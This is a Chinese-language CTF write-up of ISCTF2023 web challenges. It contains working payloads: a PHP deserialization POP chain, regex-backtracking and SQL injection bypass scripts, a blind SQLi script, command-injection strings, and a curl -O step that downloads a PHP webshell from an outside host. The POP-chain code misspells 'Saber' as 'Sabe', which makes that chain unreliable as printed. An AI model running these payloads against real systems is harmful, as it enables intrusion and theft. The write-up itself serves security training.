ISCTF2023
圣杯战争
就是简单的pop构造
<?php
class artifact{
public $excalibuer;
public $arrow;
public function __toString(){
echo "为Saber选择了对的武器!<br>";
return $this->excalibuer->arrow;//3
}
}
class prepare{
public $release;
public function __get($key){
$functioin = $this->release;
echo "蓄力!咖喱棒!!<br>";
return $functioin();//2
}
}
class saber{
public $weapon;
public function __invoke(){
echo "胜利!<br>";
include($this->weapon);//1
}
}
class summon{
public $Saber;
public $Rider;
public function __wakeup(){
echo "开始召唤从者!<br>";
echo $this->Saber;//4
}
}
$a = new summon();
$a->Sabe=new artifact();
$a->Sabe->excalibuer=new prepare();
$a->Sabe->excalibuer->release=new saber();
$a->Sabe->excalibuer->release->weapon="php:filter://convert.base64-encode/resource=flag.php";
echo serialize($a);
绕进你心里
考点:正则的最大回溯
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false
前面的两关都可以使用数组绕过
import requests
url = "http://gz.imxbt.cn:20886/?hongmeng[]=1&shennong[]=2&zhurong[]=1"
data = {
'pan_gu': '2023'*250000+'2023ISCTF'
}
res = requests.post(url=url,data=data)
print(res.text)
where_is_the_flag
从phpinfo()中的环境变量中找
paylaod:
1=phpinfo();
easy_website
经过手测,发现过滤了很多
过滤了or,select,空格
使用了爆破注入
查表
'oorr/**/updatexml(1,concat(0x7e,(seselectlect/**/group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema=database()),0x7e),1)--+
查列
'oorr/**/updatexml(1,concat(0x7e,(seselectlect/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='users'),0x7e),1)--+
查字段(有点长,要使用mid)
username=1'/**/aandnd/**/updatexml(1,concat(0x7e,mid((seselectlect/**/group_concat(passwoorrd)/**/from/**/users),67,120),0x7e),1)#
username=1'/**/aandnd/**/updatexml(1,concat(0x7e,mid((seselectlect/**/group_concat(passwoorrd)/**/from/**/users),90,120),0x7e),1)#
wafr
<?php
/*
Read /flaggggggg.txt
*/
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
if(preg_match("/cat|tac|more|less|head|tail|nl|sed|sort|uniq|rev|awk|od|vi|vim/i", $_POST['code'])){//strings
die("想读我文件?大胆。");
}
elseif (preg_match("/\^|\||\~|\\$|\%|jay/i", $_POST['code'])){
die("无字母数字RCE?大胆!");
}
elseif (preg_match("/bash|nc|curl|sess|\{|:|;/i", $_POST['code'])){
die("奇技淫巧?大胆!!");
}
elseif (preg_match("/fl|ag|\.|x/i", $_POST['code'])){
die("大胆!!!");
}
else{
assert($_POST['code']);
}
这里提示到了strings,学习一下strings命令
strings后面加上要读取的文件名就行
payload:
code=system('strings /f*')
ezini
考点:日志包含+.user.ini
尝试常规方法后发现过滤了<>
这就没办法了,看了wp发现可以使用日志包含,用来传木马
1z_Ssql
考点:超多过滤下的布尔盲注,SM4解密
源码里面有一个SM4加密的JS前端文件,里面有密钥和ECB模式的提示
const SM4 = require("gm-crypt").sm4;
var payload = "xxx";
let sm4Config = {
key: "B6*40.2_C9#e4$E3",
mode: "ecb",
cipherType: "base64"
};
let sm4 = new SM4(sm4Config);
var result = sm4.decrypt(payload);
console.log("解密:" + result)
在robots.txt中找到here_is_a_sercet.php
<?php
highlight_file("here_is_a_sercet.php");
function waf($str){
$black_list = "762V08zk+xrmKxIFrdJIJj6ULvI8Lc0pX39LjDyIUb0eAGkZe4KQa87TJXuqnFw0u/669wWRsqYFya812FtULw9+tpiGlaH2gleDfDKzr+g=";
if (preg_match($black_list,$str)){
die("<h4>illegal words!</h4>");
}
return $str;
}
?>
解密得到
/union|=|+|sleep|benchmark|for|where|sys|innodb|is|null|like|/*|*//i
在线SM4解密平台https://lzltool.cn/SM4
之前fuzz了一下,和上面结果差不多
试了
发现有回显,为You are so smart!'or 2>1#
那就可以使用布尔盲注了
这里的表名users和字段名username,password是已经给出了的
import requests
url = "http://gz.imxbt.cn:20104/"
data = {'username':'',
'password':123456,
'submit':'%E7%99%BB%E5%BD%95'}
flag = ''
for i in range(1,46):
start = 32
end = 127
while start < end:
mid = (start + end) >> 1
#paylaod = "database()"
#paylaod = "user()"
#payload = "select username from users"
payload = "select password from users"
data['username'] = f"admin' and if(ascii(substr(({payload}), {i} , 1)) > {mid}, 2, 1)>1#"
res = requests.post(url=url, data=data)
if "You are so smart!" in res.text:
start = mid +1
else:
end = mid
flag = flag + chr(start)
print(flag)
webinclude
考点:javascript代码审计和文件包含
找不到需要传入的参数
dirsearch扫描到备份文件
function string_to_int_array(str){
const intArr = [];
for(let i=0;i<str.length;i++){
const charcode = str.charCodeAt(i);
const partA = Math.floor(charcode / 26);
const partB = charcode % 26;
intArr.push(partA);
intArr.push(partB);
}
return intArr;
}
function int_array_to_text(int_array){
let txt = '';
for(let i=0;i<int_array.length;i++){
txt += String.fromCharCode(97 + int_array[i]);
}
return txt;
}
const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(parameter))));
if(hash === 'dxdydxdudxdtdxeadxekdxea'){
window.location = 'flag.html';
}else {
document.getElementById('fail').style.display = '';
}
逆着写,得出参数是mihoyo
payload:
mihoyo=php://filter/convert.base64-encode/resource=flag.php
fuzz
考点:在命令执行中管道符|作用,利用通配符绕过
<?php
/*
Read /flaggggggg.txt
Hint: 你需要学会fuzz,看着键盘一个一个对是没有灵魂的
知识补充:curl命令也可以用来读取文件哦,如curl file:///etc/passwd
*/
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file = 'file:///etc/passwd';
if(preg_match("/\`|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\\\\|\'|\"|\;|\<|\>|\,|\?|jay/i", $_GET['file'])){
die('你需要fuzz一下哦~');
}
if(!preg_match("/fi|le|flag/i", $_GET['file'])){
$file = $_GET['file'];
}
system('curl '.$file);
使用bp来fuzz一下得到|,[],{}-等没有被过滤
"|"没过滤可以放在开头结束前面的curl,然后再拼接系统命令
payload:
?file=|tac /fl[a-z]ggggggg.txt
或
?file=f{i}l{e}:///fla{g}gggggg.txt
可以利用curl来下载文件
payload:
?file=-O http://igniting.top/shell.php
shell.php中放一句话木马